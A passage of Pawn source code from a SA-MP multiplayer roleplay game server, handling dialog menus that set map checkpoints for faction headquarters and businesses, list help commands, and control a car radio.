		  SCM(playerid,COLOR_WHITE,"You Selected Oil Dealer job, a Legal job, I give you a checkpoint to follow this job");
		  OnCheckpoint[playerid] = 1;
		  CP[playerid] = 90035;
		  SetPlayerCheckpoint(playerid,253.998931, 1451.826293, 10.585937,3);
		  return 1;
		  }
	   }
	}
	if(dialogid == 99)
	{
		if(response)
		{
			if(listitem == 0)
			{
				SCM(playerid,COLOR_WHITE,"CoverName {04ff00}Enabled.");
				HideTag[playerid] = 1;
				for(new i;i<Akharish;i++)
				{
					ShowPlayerNameTagForPlayer(i, playerid, false);
				}
			}
			if(listitem == 1)
			{
				SCM(playerid,COLOR_WHITE,"CoverName {FF0000}Disabled.");
				HideTag[playerid] = 0;
				for(new i;i<Akharish;i++)
				{
				ShowPlayerNameTagForPlayer(i, playerid, true);
				}
			}
		}
	}

if(dialogid == 100)
	{
	   if(response)
	   {
		  if(listitem == 0)
		  {
			ShowPlayerDialog(playerid, 101, DIALOG_STYLE_LIST, "Faction HQs", "Police Department \nFBI \nNational Guard \nFire & Medics \nSilence Mafia \nThe Killers \nMayor \nHitmen Agency \nNews Reporters \nTaxi Driver \nSchool Instructor \nDangerous Tigers \nLegendary Men \nFast N Furious Family \nStorm Men Family \nTow Car Company \nTaxi Driver LV \nUnknowns", "Select", "Cancel");
	}
	if(listitem == 1)
		  {
	ShowPlayerDialog(playerid,102,DIALOG_STYLE_LIST, "Important Locations" , "City Hall \nSpecial CNN \nGrape Converter\nJail LS","Select","Cancel");
	}
	if(listitem == 2)
		  {
   SCM(playerid,COLOR_WHITE,"Use /FindBiz [BizID]");
   ShowPlayerDialog(playerid,103,DIALOG_STYLE_LIST, "Important Bizzes" , "Los Santos Gun Shop \nLas Venturas Gun Shop \nLos Santos Restaurant \nLas Venutra Foyr Dragons Casino \nJizzy Club \nAlhanbra Night Club \nPig Pen \nLS GYM \nBank LS \nBank LV \nThe Craw bar LV \nLS BAR \nCASINO LV \nCrack House \nSan Fiero Casino \nSan Fiero Club \nSan Fiero Gun Shop \nBANK SF","Select","Cancel");
	}
	if(listitem == 3)
		  {
	SCM(playerid,COLOR_WHITE,"Use /FindSBiz [SBizID]");
	ShowPlayerDialog(playerid,104,DIALOG_STYLE_LIST,"Important Special Bizzes" , "Scooter Rent \nLas Venturas Rent Car \nBoat Rent \nLV CNN Studio \nRent Car LS \nLos Santos House Upgrade \nLS Cnn \nTow Car \nPaintball Arena \nKart Track \nCommunication Center \nLos Santos Tuning \nLos Santos Tuning \nLas Ventarus Tuning \nWheel Arch Angels \nSan Fiero Tuning","Select","Cancel");
	}
	   }
	}
	if(dialogid == 101)
	{
	   if(response)
	   {
	if(listitem == 0)
		  {
	SetPlayerCheckpoint(playerid,1554.9537,-1675.6584,16.1953,3.0);
	SendClientMessage(playerid, COLOR_BLUE, "Goto CheckPoint For HQ : Police Departement. Use /cancel checkpoint For Delete Checkpoint.");
	OnCheckpoint[playerid] = 1;
	CP[playerid] = 9922555;
	}
	if(listitem == 1)
		  {
	SetPlayerCheckpoint(playerid,2287.0576,2432.1121,10.8203,3.0);
	SendClientMessage(playerid, COLOR_BLUE, "Goto CheckPoint For HQ : FBI. Use /cancel checkpoint For Delete Checkpoint.");
	OnCheckpoint[playerid] = 1;
	CP[playerid] = 9922555;
	}
	if(listitem == 2)
		  {
	SetPlayerCheckpoint(playerid,73.984298,1917.414550,17.640625,3.0);
	SendClientMessage(playerid, COLOR_BLUE, "Goto CheckPoint For HQ : National Guard. Use /cancel checkpoint For Delete Checkpoint.");
	OnCheckpoint[playerid] = 1;
	CP[playerid] = 9922555;
	}
	if(listitem == 3)
		  {
	SetPlayerCheckpoint(playerid,1607.520996,1815.756591,10.820312,3.0);
	SendClientMessage(playerid, COLOR_BLUE, "Goto CheckPoint For HQ : Fire & Medics LV. Use /cancel checkpoint For Delete Checkpoint.");
	OnCheckpoint[playerid] = 1;
	CP[playerid] = 9922555;
	}
	if(listitem == 4)
		  {
	SetPlayerCheckpoint(playerid,725.5550,-1451.0232,17.6953,3.0);
	SendClientMessage(playerid, COLOR_BLUE, "Goto CheckPoint For HQ : Silence Mafia. Use /cancel checkpoint For Delete Checkpoint.");
	OnCheckpoint[playerid] = 1;
	CP[playerid] = 9922555;
	}
	if(listitem == 5)
		  {
	SetPlayerCheckpoint(playerid,1456.7424,2773.4614,10.8203,3.0);
	SendClientMessage(playerid, COLOR_BLUE, "Goto CheckPoint For HQ : The Killers Family. Use /cancel checkpoint For Delete Checkpoint.");
	OnCheckpoint[playerid] = 1;
	CP[playerid] = 9922555;
	}
	if(listitem == 6)
		  {
	SetPlayerCheckpoint(playerid,1481.0206,-1771.1138,18.7958,3.0);
	SendClientMessage(playerid, COLOR_BLUE, "Goto CheckPoint For HQ : Mayor (City Hall). Use /cancel checkpoint For Delete Checkpoint.");
	OnCheckpoint[playerid] = 1;
	CP[playerid] = 9922555;
	}
	if(listitem == 7)
		  {
	SetPlayerCheckpoint(playerid,1080.997192,-345.408233,73.984069,3.0);
	SendClientMessage(playerid, COLOR_BLUE, "Goto CheckPoint For HQ : Hitmen Agency. Use /cancel checkpoint For Delete Checkpoint.");
	OnCheckpoint[playerid] = 1;
	CP[playerid] = 9922555;
	}
	if(listitem == 8)
		  {
	SetPlayerCheckpoint(playerid,-329.8395,1536.6249,76.6117,3.0);
	SendClientMessage(playerid, COLOR_BLUE, "Goto CheckPoint For HQ : News Reporters. Use /cancel checkpoint For Delete Checkpoint.");
	OnCheckpoint[playerid] = 1;
	CP[playerid] = 9922555;
	}
	if(listitem == 9)
		  {
	SetPlayerCheckpoint(playerid,1755.6456,-1894.1962,13.5566,3.0);
	SendClientMessage(playerid, COLOR_BLUE, "Goto CheckPoint For HQ : Taxi Driver LS. Use /cancel checkpoint For Delete Checkpoint.");
	OnCheckpoint[playerid] = 1;
	CP[playerid] = 9922555;
	}
	if(listitem == 10)
		  {
	SetPlayerCheckpoint(playerid,1174.0846,1351.0155,10.9219,3.0);
	SendClientMessage(playerid, COLOR_BLUE, "Goto CheckPoint For HQ : School Instructor LS. Use /cancel checkpoint For Delete Checkpoint.");
	OnCheckpoint[playerid] = 1;
	CP[playerid] = 9922555;
	}
	if(listitem == 11)
		  {
	SetPlayerCheckpoint(playerid,2637.4326,2352.0256,10.8203,3.0);
	SendClientMessage(playerid, COLOR_BLUE, "Goto CheckPoint For HQ : Dangerous Tigers Family. Use /cancel checkpoint For Delete Checkpoint.");
	OnCheckpoint[playerid] = 1;
	CP[playerid] = 9922555;
	}
	if(listitem == 12)
		  {
	SetPlayerCheckpoint(playerid,1122.7065,-2037.0063,69.8942,3.0);
	SendClientMessage(playerid, COLOR_BLUE, "Goto CheckPoint For HQ : Legendary Men Family. Use /cancel checkpoint For Delete Checkpoint.");
	OnCheckpoint[playerid] = 1;
	CP[playerid] = 9922555;
	}
	if(listitem == 13)
		  {
	SetPlayerCheckpoint(playerid,1455.4546,750.9794,11.0234,3.0);
	SendClientMessage(playerid, COLOR_BLUE, "Goto CheckPoint For HQ : Fast N Furious Family. Use /cancel checkpoint For Delete Checkpoint.");
	OnCheckpoint[playerid] = 1;
	CP[playerid] = 9922555;
	}
	if(listitem == 14)
		  {
	SetPlayerCheckpoint(playerid,2792.800292, -1087.528320, 30.718750,3.0);
	SendClientMessage(playerid, COLOR_BLUE, "Goto CheckPoint For HQ : Storm Men Family. Use /cancel checkpoint For Delete Checkpoint.");
	OnCheckpoint[playerid] = 1;
	CP[playerid] = 9922555;
	}
	if(listitem == 15)
		  {
	SetPlayerCheckpoint(playerid,912.2000,-1234.9801,17.2109,3.0);
	SendClientMessage(playerid, COLOR_BLUE, "Goto CheckPoint For HQ : Tow Car Company. Use /cancel checkpoint For Delete Checkpoint.");
	OnCheckpoint[playerid] = 1;
	CP[playerid] = 9922555;
	}

	if(listitem == 16)
		  {
	SetPlayerCheckpoint(playerid,937.3935,1733.2067,8.8516,3.0);
	SendClientMessage(playerid, COLOR_BLUE, "Goto CheckPoint For HQ : Taxi Driver LV. Use /cancel checkpoint For Delete Checkpoint.");
	OnCheckpoint[playerid] = 1;
	CP[playerid] = 9922555;
	}
	if(listitem == 17)
		  {
	SetPlayerCheckpoint(playerid,852.4714,-1436.4944,15.0437,3.0);
	SendClientMessage(playerid, COLOR_BLUE, "Goto CheckPoint For HQ : Unknowns. Use /cancel checkpoint For Delete Checkpoint.");
	OnCheckpoint[playerid] = 1;
	CP[playerid] = 9922555;
	}
	   }
	}

 if(dialogid == 103)
	{
	   if(response)
	   {
	if(listitem == 0)
		  {
	SetPlayerCheckpoint(playerid,1367.25,-1279.71,13.55,3.0);
	SendClientMessage(playerid, COLOR_BLUE, "Goto CheckPoint For Biz : Los Santos Gun Shop. Use /cancel checkpoint For Delete Checkpoint.");
	OnCheckpoint[playerid] = 1;
	CP[playerid] = 9922555;
	}
	if(listitem == 1)
		  {
	SetPlayerCheckpoint(playerid,2596.7,1095.65,10.8219,3.0);
	SendClientMessage(playerid, COLOR_BLUE, "Goto CheckPoint For Biz : Las Venturas Gun Shop. Use /cancel checkpoint For Delete Checkpoint.");
	OnCheckpoint[playerid] = 1;
	CP[playerid] = 9922555;
	}
	if(listitem == 2)
		  {
	SetPlayerCheckpoint(playerid,1498.36,-1583.03,13.5466,3.0);
	SendClientMessage(playerid, COLOR_BLUE, "Goto CheckPoint For Biz : Los Santos Restaurant. Use /cancel checkpoint For Delete Checkpoint.");
	OnCheckpoint[playerid] = 1;
	CP[playerid] = 9922555;
	}
	if(listitem == 3)
		  {
	SetPlayerCheckpoint(playerid,2019.64,1007.71,10.8203,3.0);
	SendClientMessage(playerid, COLOR_BLUE, "Goto CheckPoint For Biz : Las Venutra Foyr Dragons Casino. Use /cancel checkpoint For Delete Checkpoint.");
	OnCheckpoint[playerid] = 1;
	CP[playerid] = 9922555;
	}
	if(listitem == 4)
		  {
	SetPlayerCheckpoint(playerid,2017.5,1919.8,12.3422,3.0);
	SendClientMessage(playerid, COLOR_BLUE, "Goto CheckPoint For Biz : Jizzy Club. Use /cancel checkpoint For Delete Checkpoint.");
	OnCheckpoint[playerid] = 1;
	CP[playerid] = 9922555;
	}
	if(listitem == 5)
	{
	SetPlayerCheckpoint(playerid,1836.36,-1682.52,13.3513,3.0);
	SendClientMessage(playerid, COLOR_BLUE, "Goto CheckPoint For Biz : Alhanbra Night Club. Use /cancel checkpoint For Delete Checkpoint.");
	OnCheckpoint[playerid] = 1;
	CP[playerid] = 9922555;
	}
	if(listitem == 6)
		  {
	SetPlayerCheckpoint(playerid,2421.5,-1219.24,25.5617,3.0);
	SendClientMessage(playerid, COLOR_BLUE, "Goto CheckPoint For Biz : Pig Pen. Use /cancel checkpoint For Delete Checkpoint.");
	OnCheckpoint[playerid] = 1;
	CP[playerid] = 9922555;
	}
	if(listitem == 7)
		  {
	SetPlayerCheckpoint(playerid,2229.91,-1721.3,13.5614,3.0);
	SendClientMessage(playerid, COLOR_BLUE, "Goto CheckPoint For Biz : LS GYM. Use /cancel checkpoint For Delete Checkpoint.");
	OnCheckpoint[playerid] = 1;
	CP[playerid] = 9922555;
	}
	if(listitem == 8)
		  {
	SetPlayerCheckpoint(playerid,1461.92, -1010.68, 26.84,3.0);
	SendClientMessage(playerid, COLOR_BLUE, "Goto CheckPoint For Biz : Bank LS. Use /cancel checkpoint For Delete Checkpoint.");
	OnCheckpoint[playerid] = 1;
	CP[playerid] = 9922555;
	}
	if(listitem == 9)
		  {
	SetPlayerCheckpoint(playerid,2577.48,1325.42,10.8203,3.0);
	SendClientMessage(playerid, COLOR_BLUE, "Goto CheckPoint For Biz : Bank LV. Use /cancel checkpoint For Delete Checkpoint.");
	OnCheckpoint[playerid] = 1;
	CP[playerid] = 9922555;
	}
	if(listitem == 10)
		  {
	SetPlayerCheckpoint(playerid,-2766.53,375.354,6.3344,3.0);
	SendClientMessage(playerid, COLOR_BLUE, "Goto CheckPoint For Biz : Bank SF. Use /cancel checkpoint For Delete Checkpoint.");
	OnCheckpoint[playerid] = 1;
	CP[playerid] = 9922555;
	}
	if(listitem == 11)
		  {
	SetPlayerCheckpoint(playerid,2441.12,2065.4,10.8203,3.0);
	SendClientMessage(playerid, COLOR_BLUE, "Goto CheckPoint For Biz : The Craw bar LV. Use /cancel checkpoint For Delete Checkpoint.");
	OnCheckpoint[playerid] = 1;
	CP[playerid] = 9922555;
	}
	if(listitem == 12)
		  {
	SetPlayerCheckpoint(playerid,2308.56,-1643.95,14.8268,3.0);
	SendClientMessage(playerid, COLOR_BLUE, "Goto CheckPoint For Biz : LS BAR. Use /cancel checkpoint For Delete Checkpoint.");
	OnCheckpoint[playerid] = 1;
	CP[playerid] = 9922555;
	}
	if(listitem == 13)
		  {
	SetPlayerCheckpoint(playerid,2441.17,2163.53,10.8203,3.0);
	SendClientMessage(playerid, COLOR_BLUE, "Goto CheckPoint For Biz : CASINO LV. Use /cancel checkpoint For Delete Checkpoint.");
	OnCheckpoint[playerid] = 1;
	CP[playerid] = 9922555;
	}
	if(listitem == 14)
		  {
	SetPlayerCheckpoint(playerid,2165.88,-1671.25,15.0732,3.0);
	SendClientMessage(playerid, COLOR_BLUE, "Goto CheckPoint For Biz : Crack House. Use /cancel checkpoint For Delete Checkpoint.");
	OnCheckpoint[playerid] = 1;
	CP[playerid] = 9922555;
	}
	if(listitem == 15)
		  {
	SetPlayerCheckpoint(playerid,-2550.75,193.789,6.2265,3.0);
	SendClientMessage(playerid, COLOR_BLUE, "Goto CheckPoint For Biz : San Fiero Casino. Use /cancel checkpoint For Delete Checkpoint.");
	OnCheckpoint[playerid] = 1;
	CP[playerid] = 9922555;
	}
	if(listitem == 16)
		  {
	SetPlayerCheckpoint(playerid,-2624.97,1412.7,7.0935,3.0);
	SendClientMessage(playerid, COLOR_BLUE, "Goto CheckPoint For Biz : San Fiero Club. Use /cancel checkpoint For Delete Checkpoint.");
	OnCheckpoint[playerid] = 1;
	CP[playerid] = 9922555;
	}
	if(listitem == 17)
		  {
	SetPlayerCheckpoint(playerid,-2626.45,208.24,4.8125,3.0);
	SendClientMessage(playerid, COLOR_BLUE, "Goto CheckPoint For Biz : San Fiero Gun Shop. Use /cancel checkpoint For Delete Checkpoint.");
	OnCheckpoint[playerid] = 1;
	CP[playerid] = 9922555;
	}
	   }
	}
  if(dialogid == 104)
	{
	   if(response)
	   {
	if(listitem == 0)
		  {
	SetPlayerCheckpoint(playerid,1847.55,-1871.74,13.5781,3.0);
	SendClientMessage(playerid, COLOR_BLUE, "Goto CheckPoint For Special Biz : Scooter Rent. Use /cancel checkpoint For Delete Checkpoint.");
	OnCheckpoint[playerid] = 1;
	CP[playerid] = 9922555;
	}
	if(listitem == 1)
		  {
	SetPlayerCheckpoint(playerid,2200.78,1393.6,10.8203,3.0);
	SendClientMessage(playerid, COLOR_BLUE, "Goto CheckPoint For Special Biz : Las Venturas Rent Car. Use /cancel checkpoint For Delete Checkpoint.");
	OnCheckpoint[playerid] = 1;
	CP[playerid] = 9922555;
	}
	if(listitem == 2)
		  {
	SetPlayerCheckpoint(playerid,1606.29,620.901,10.8219,3.0);
	SendClientMessage(playerid, COLOR_BLUE, "Goto CheckPoint For Special Biz : Boat Rent. Use /cancel checkpoint For Delete Checkpoint.");
	OnCheckpoint[playerid] = 1;
	CP[playerid] = 9922555;
	}
	if(listitem == 3)
		  {
	SetPlayerCheckpoint(playerid,2079.39,2046.17,11.0579,3.0);
	SendClientMessage(playerid, COLOR_BLUE, "Goto CheckPoint For Special Biz : LV CNN Studio. Use /cancel checkpoint For Delete Checkpoint.");
	OnCheckpoint[playerid] = 1;
	CP[playerid] = 9922555;
	}
	if(listitem == 4)
		  {
	SetPlayerCheckpoint(playerid,564.942,-1292.23,17.2481,3.0);
	SendClientMessage(playerid, COLOR_BLUE, "Goto CheckPoint For Special Biz : Rent Car LS. Use /cancel checkpoint For Delete Checkpoint.");
	OnCheckpoint[playerid] = 1;
	CP[playerid] = 9922555;
	}
	if(listitem == 5)
		  {
	SetPlayerCheckpoint(playerid,2351.88,-1412.15,23.9923,3.0);
	SendClientMessage(playerid, COLOR_BLUE, "Goto CheckPoint For Special Biz : Los Santos House Upgrade. Use /cancel checkpoint For Delete Checkpoint.");
	OnCheckpoint[playerid] = 1;
	CP[playerid] = 9922555;
	}
	if(listitem == 6)
		  {
	SetPlayerCheckpoint(playerid,1110.97, -1797, 16.59,3.0);
	SendClientMessage(playerid, COLOR_BLUE, "Goto CheckPoint For Special Biz : LS Cnn. Use /cancel checkpoint For Delete Checkpoint.");
	OnCheckpoint[playerid] = 1;
	CP[playerid] = 9922555;
	}
	if(listitem == 7)
		  {
	SetPlayerCheckpoint(playerid,2510.6,-1468.2,24.0237,3.0);
	SendClientMessage(playerid, COLOR_BLUE, "Goto CheckPoint For Special Biz : Tow Car. Use /cancel checkpoint For Delete Checkpoint.");
	OnCheckpoint[playerid] = 1;
	CP[playerid] = 9922555;
	}
	if(listitem == 8)
		  {
	SetPlayerCheckpoint(playerid,1310.13,-1367.81,13.5408,3.0);
	SendClientMessage(playerid, COLOR_BLUE, "Goto CheckPoint For Special Biz : Paintball Arena. Use /cancel checkpoint For Delete Checkpoint.");
	OnCheckpoint[playerid] = 1;
	CP[playerid] = 9922555;
	}
	if(listitem == 9)
		  {
	SetPlayerCheckpoint(playerid,2281.91,-2364.28,13.5937,3.0);
	SendClientMessage(playerid, COLOR_BLUE, "Goto CheckPoint For Special Biz : Kart Track. Use /cancel checkpoint For Delete Checkpoint.");
	OnCheckpoint[playerid] = 1;
	CP[playerid] = 9922555;
	}
	if(listitem == 10)
		  {
	SetPlayerCheckpoint(playerid,1154.02,-1772.44,16.5991,3.0);
	SendClientMessage(playerid, COLOR_BLUE, "Goto CheckPoint For Special Biz : Communication Center. Use /cancel checkpoint For Delete Checkpoint.");
	OnCheckpoint[playerid] = 1;
	CP[playerid] = 9922555;
	}
	if(listitem == 11)
		  {
	SetPlayerCheckpoint(playerid,1046.14,-1028.22,32.1016,3.0);
	SendClientMessage(playerid, COLOR_BLUE, "Goto CheckPoint For Special Biz : Los Santos Tuning. Use /cancel checkpoint For Delete Checkpoint.");
	OnCheckpoint[playerid] = 1;
	CP[playerid] = 9922555;
	}
	if(listitem == 12)
		  {
	SetPlayerCheckpoint(playerid,2650.86,-2040.98,13.55,3.0);
	SendClientMessage(playerid, COLOR_BLUE, "Goto CheckPoint For Special Biz : Los Santos Tuning. Use /cancel checkpoint For Delete Checkpoint.");
	OnCheckpoint[playerid] = 1;
	CP[playerid] = 9922555;
	}
	if(listitem == 13)
		  {
	SetPlayerCheckpoint(playerid,2380.83,1041.26,10.8203,3.0);
	SendClientMessage(playerid, COLOR_BLUE, "Goto CheckPoint For Special Biz : Las Ventarus Tuning. Use /cancel checkpoint For Delete Checkpoint.");
	OnCheckpoint[playerid] = 1;
	CP[playerid] = 9922555;
	}
	if(listitem == 14)
		  {
	SetPlayerCheckpoint(playerid,-2714.92,223.057,4.3281,3.0);
	SendClientMessage(playerid, COLOR_BLUE, "Goto CheckPoint For Special Biz : Wheel Arch Angels. Use /cancel checkpoint For Delete Checkpoint.");
	OnCheckpoint[playerid] = 1;
	CP[playerid] = 9922555;
	}
	if(listitem == 15)
		  {
	SetPlayerCheckpoint(playerid,-1942.97,237.903,34.1203,3.0);
	SendClientMessage(playerid, COLOR_BLUE, "Goto CheckPoint For Special Biz : San Fiero Tuning. Use /cancel checkpoint For Delete Checkpoint.");
	OnCheckpoint[playerid] = 1;
	CP[playerid] = 9922555;
	}
	   }
	}
 if(dialogid == 102)
	{
	   if(response)
	   {
//			new message[256+1];
		  if(listitem == 0)
		  {
				SetPlayerCheckpoint(playerid,1481.0206,-1771.1138,18.7958,3.0);
				SendClientMessage(playerid, COLOR_BLUE, "Goto CheckPoint For HQ : Mayor (City Hall). Use /cancel checkpoint For Delete Checkpoint.");
				OnCheckpoint[playerid] = 1;
				CP[playerid] = 9922555;
			}
		  if(listitem == 1)
		  {
				SetPlayerCheckpoint(playerid,1329.7839,-983.6779,33.8966,3.0);
				SendClientMessage(playerid, COLOR_BLUE, "Goto CheckPoint For : Special CNN. Use /cancel checkpoint For Delete Checkpoint.");
				OnCheckpoint[playerid] = 1;
				CP[playerid] = 9922555;
			}
		  if(listitem == 2)
		  {
				SetPlayerCheckpoint(playerid,1588.031860, 1080.363281, 10.729784,3.0);
				SendClientMessage(playerid, COLOR_BLUE, "Goto CheckPoint For : Grape Converter. Use /cancel checkpoint For Delete Checkpoint.");
				OnCheckpoint[playerid] = 1;
				CP[playerid] = 9922555;
			}
		  if(listitem == 3)
		  {
				SetPlayerCheckpoint(playerid,-1038.923217, -566.813781, 32.007812,3.0);
				SendClientMessage(playerid, COLOR_BLUE, "Goto CheckPoint For : Jail LS. Use /cancel checkpoint For Delete Checkpoint.");
				OnCheckpoint[playerid] = 1;
				CP[playerid] = 9922555;
			}
		}
	}// New Help System by Sina
	if(dialogid == 8127)
		{
		if(response)
		{
		   new dialogstr[2056];
		   if(listitem == 0)
		   {
			  strcat(dialogstr, "/stats - Displays the account statistics.\n/buylevel - Buys the next level.\n/changepassword - Changes your password.");
			  strcat(dialogstr, "\n/changeemail - Change email.\n/cancelmyad - Cancel your current advertisement.\n/deletepin - Deletes your current pin.\n/messages - Shows the messages box.");
			  //strcat(dialogstr, "");
			  //strcat(dialogstr, "");
			  ShowPlayerDialog(playerid, 8128, DIALOG_STYLE_MSGBOX,"Account", dialogstr, "Done", "");
		   }
		   else if(listitem == 1)
		   {
			  strcat(dialogstr, "/id - Displays some data about a player.\n/pay - Sends money to a player.\n/buy - Buys items form a 24/7.");
			  strcat(dialogstr, "\n/drink - Drinks beverages from a bar.\n/turfs - Shows territories owned by gangs.\n/licenses - Displays the license status.\n/skill - Displays job skills.");
			  strcat(dialogstr, "\n/sleep - Activates AFK mode.\n/lotto - Chooses a number for the lottery.\n/spawnchange - Changes spawn place.\n/eject - Throws a passenger out of the vehicle.\n/referrals - Shows your referral users.");
			  strcat(dialogstr, "\n/rob - Robs the bank.\n/service - Calls a taxi/medic/mechanic.\n/report - Contacts the admins team\n/helpme - Contacts the helpers team.\n/speedlimit - Sets a limit to vehicle's speed.");
			  strcat(dialogstr, "\n/[acc]ept - Accepts an offer.\n/cancel - Cancels an offer.\n/usedrugs - Consumes drugs.\n/fill - Fills the gas tank.\n/animlist - A list of animations.\n/carradio - Turns on the vehicle's radio.\n/parrot - Puts on a parrot.");
			  ShowPlayerDialog(playerid, 8128, DIALOG_STYLE_MSGBOX,"General", dialogstr, "Done", "");
		   }
		   else if(listitem == 2)
		   {
			  strcat(dialogstr, "/say, /s, /w, /b, /f, /r, /cw, /wt, /ad, /sms");
			  strcat(dialogstr, "\n/call, /al, /hl, /tognews, /togfam, /togooc, /togevent,");
			  strcat(dialogstr, "\n/e, /d");
			  //strcat(dialogstr, "");
			  ShowPlayerDialog(playerid, 8128, DIALOG_STYLE_MSGBOX,"Chat", dialogstr, "Done", "");
		   }
		   else if(listitem == 3)
		   {
			  strcat(dialogstr, "/jobs - The jobs lists with the locations.\n/jobhelp - Available commands for the current job.\n/getjob - Get hired for a job\n/quitjob - Leaves a job.\n/skill - Displays skill levels for a job.");
			  ShowPlayerDialog(playerid, 8128, DIALOG_STYLE_MSGBOX,"Jobs", dialogstr, "Done", "");
		   }
		   else if(listitem == 4)
		   {
			  strcat(dialogstr, "/fhelp - Displays the available commands.\n/factions - Shows factions status.");
			  //strcat(dialogstr, "");
			  ShowPlayerDialog(playerid, 8128, DIALOG_STYLE_MSGBOX,"Faction", dialogstr, "Done", "");
		   }
		   else if(listitem == 5)
		   {
			  strcat(dialogstr, "/transfer - Sends an amount of money to a player.\n/bank - Shows bank control panel.\n/coin - Shows the panel of security virtual currency.");
			  strcat(dialogstr, "\n/atmwithdraw - Takes an amount of money through an ATM.\n/atmbalance - Shows how much money do you have in your bank account");
			  //strcat(dialogstr, "");
			  ShowPlayerDialog(playerid, 8128, DIALOG_STYLE_MSGBOX,"Bank", dialogstr, "Done", "");
		   }
		   else if(listitem == 6)
		   {
			  strcat(dialogstr, "/enter - Enters the house.\n/exit - Exits the house.\n/open - Opens the house.\n/setrentable - Toggles the rent ability of your house.\n/setrent - Chooses the rent cost.\n/tonants - Displays your renters");
			  strcat(dialogstr, "\n/evict - Evicts a renter.\n/evictall - Evicts all the renters.\n/(h)eal(u)pgrade - Adds the ability to /heal.\n/houseinfo - Shows your house's informations.\n/sellhouse - Sells your house to a player.");
			  strcat(dialogstr, "\n/sellhousetostate - Sells your house to the state.");
			  //strcat(dialogstr, "");
			  ShowPlayerDialog(playerid, 8128, DIALOG_STYLE_MSGBOX,"House", dialogstr, "Done", "");
		   }
		   else if(listitem == 7)
		   {
			  strcat(dialogstr, "/engine - Turns the engine on/off.\n/lock - Opens/Closes the car.\n/park - Parks the car.\n/towcar - Tows your vehicle to it's park spot.\n/locatecar - Indicates the location of your car.\n/carplate - Changes your vehicle's plate.");
			  strcat(dialogstr, "\n/buyinsurance - Buys insurance for your car.\n/buycar - Buys a vehicle from the Dealership.\n/sellvehicle - Sells your vehicle to the Dealership.\n/sellcarto - Sells your car to another player.");
			  strcat(dialogstr, "\n/givekey - Gives your vehicle's key to another player.\n/changelock - Changes your vehicle's lock players with your vehicle's key can no longer open it.\n/carinfo - Shows your current vehicle's informations.\n/togneon - Toggles neon.");
			  //strcat(dialogstr, "");
			  ShowPlayerDialog(playerid, 8128, DIALOG_STYLE_MSGBOX,"Vehicle", dialogstr, "Done", "");
		   }
		   else if(listitem == 8)
		   {
			  strcat(dialogstr, "/bizinfo - Displays your business's information\n/bizfee - Chooses the entrance cost.\n/bizname - Changes bizname.\n/open - Open/Closes your business.\n/sellbiztostate - Sells your business to state.\n/sellbiz - Sells your business to another player.");
			  strcat(dialogstr, "\n/prodprice - Changes the business's product's price.\n/bizdeposit - Deposits an amount of money to your business.\n/bizwithdraw - Withdraws an amount of money from your business.");
			  strcat(dialogstr, "\n");
			  //strcat(dialogstr, "");
			  ShowPlayerDialog(playerid, 8128, DIALOG_STYLE_MSGBOX,"Business", dialogstr, "Done", "");
		   }
		   else if(listitem == 9)
		   {
			  strcat(dialogstr, "/locations - Find a location.\n/Hqs - Find a faction hq.\n/gps - Shows your current location.");
			  //strcat(dialogstr, "");
			  ShowPlayerDialog(playerid, 8128, DIALOG_STYLE_MSGBOX,"Locations", dialogstr, "Done", "");
		   }
		   else if(listitem == 10)
		   {
			  strcat(dialogstr, "/cellphonehelp - Phone help.\n/renthelp - Room rent help.\n/leaderhelp - Leader help.\n/fishhelp - Fish help.\n/atmhelp - ATM help.\n/eventhelp - Event help.\n/boxhelp - Box help.\n/theft - stealing player's money.\n/prizebag - shows the prize bag.\n/pollstatus - Shows the status of poll.\n/vote - Votes to the current poll.\n/redeem - Redeems a code.\n/safezones - Shows safezones.");
			  strcat(dialogstr, "\n/FPS - Shows your FPS in a textdraw on top of your screen.\n/HP - Shows your health in health bar.\n/colors - Shows RGB colors.\n/illegals - Shows your illegals things.\n/shoprob - Robs current shop.\n/top - Shows gangs' turfs.\n/liquor - Drinks liquor if you have.\n/liquorhelp - Shows commands for liquor dealer job.\n/bug - Reports a bug.\n/throwgun - Throws a gun.\n/fp - Recovery an account.");
			  strcat(dialogstr, "\n/mysecurity - Toggles recovery system.\n/toy - Shows toys you saved.\n/clothes - Changes your skin at binco.\n/requestbg - Requests a bodyguard.\n/buff - Shows buffs list.\n/duel - Challenge a player to a duel.");
			  ShowPlayerDialog(playerid, 8128, DIALOG_STYLE_MSGBOX,"Other", dialogstr, "Done", "");
		   }
		   return 1;
		}
	}
  if(dialogid == 6543)
	{
	   if(response)
	   {
//		  new message[256+1];
		  if(listitem == 0)
		  {
			ShowPlayerDialog(playerid, 6542, DIALOG_STYLE_LIST, "Car Radio", "Radio Party \nRadio Javan \nPONdENDS \nWild Rock \nThe Beat.NO", "Select", "Cancel");
			}
			if(listitem == 1)
			{
			if(PlayerInfo[playerid][pPremiumAccount] == 0) return SCM(playerid, COLOR_YELLOW2, "Error: You haven't premium account.");
			if(!IsPlayerInAnyVehicle(playerid)) return SCM(playerid, COLOR_YELLOW2, "Error: You aren't in any vehicle.");
			ShowPlayerDialog(playerid,6541,DIALOG_STYLE_INPUT,"Music URL","Insert your music link","Select","Cancel");
			}
		  if(listitem == 2)
		  {
			if(!IsPlayerInAnyVehicle(playerid)) return SCM(playerid, COLOR_YELLOW2, "Error: You aren't in any vehicle.");
			for(new i = 0;i<Akharish;i++)
			{
				if(IsPlayerConnected(i) && GetPlayerVehicleID(i) == GetPlayerVehicleID(playerid)) {
				StopAudioStreamForPlayer(i);
				new reset[1024];
			  format(reset, sizeof(reset), "[VEHICLE]: The music was stopped by driver %s.", PINFO[playerid][pName]);
			  SendClientMessage(i,  COLOR_YELLOW2, reset);
				CarRadioPlayed[i] = false;
				new veh = GetPlayerVehicleID(playerid);
				if(VehLinkDare[veh] == 1)
				{
				VehLinkDare[veh] = 0;
				VehLink[veh][0] = '\0';
				}
				}
				CarRadio[GetPlayerVehicleID(playerid)][0] = '\0';
			}
			}
	   }
	}
	
	
	

	/*
if(dialogid == 4574)
	{
		if(response)
		{
		  new cash = GetPlayerPool(playerid);
		  if(cash < 100) {
		  SCM(playerid, COLOR_YELLOW2, "Error: You don't have enough money.");
		  return 1; }
		  if(MizaneGoshnegi[playerid] == 10) return SCM(playerid, COLOR_YELLOW2, "Error: Your energy is full now.");
						new straa[25];
					format(straa , sizeof(straa) , ". . . . . . . . . .");
					PlayerTextDrawSetString(playerid, GoshnegiDarsad, straa);
					MizaneGoshnegi[playerid] = 10;
					GivePlayerPool(playerid, -100);
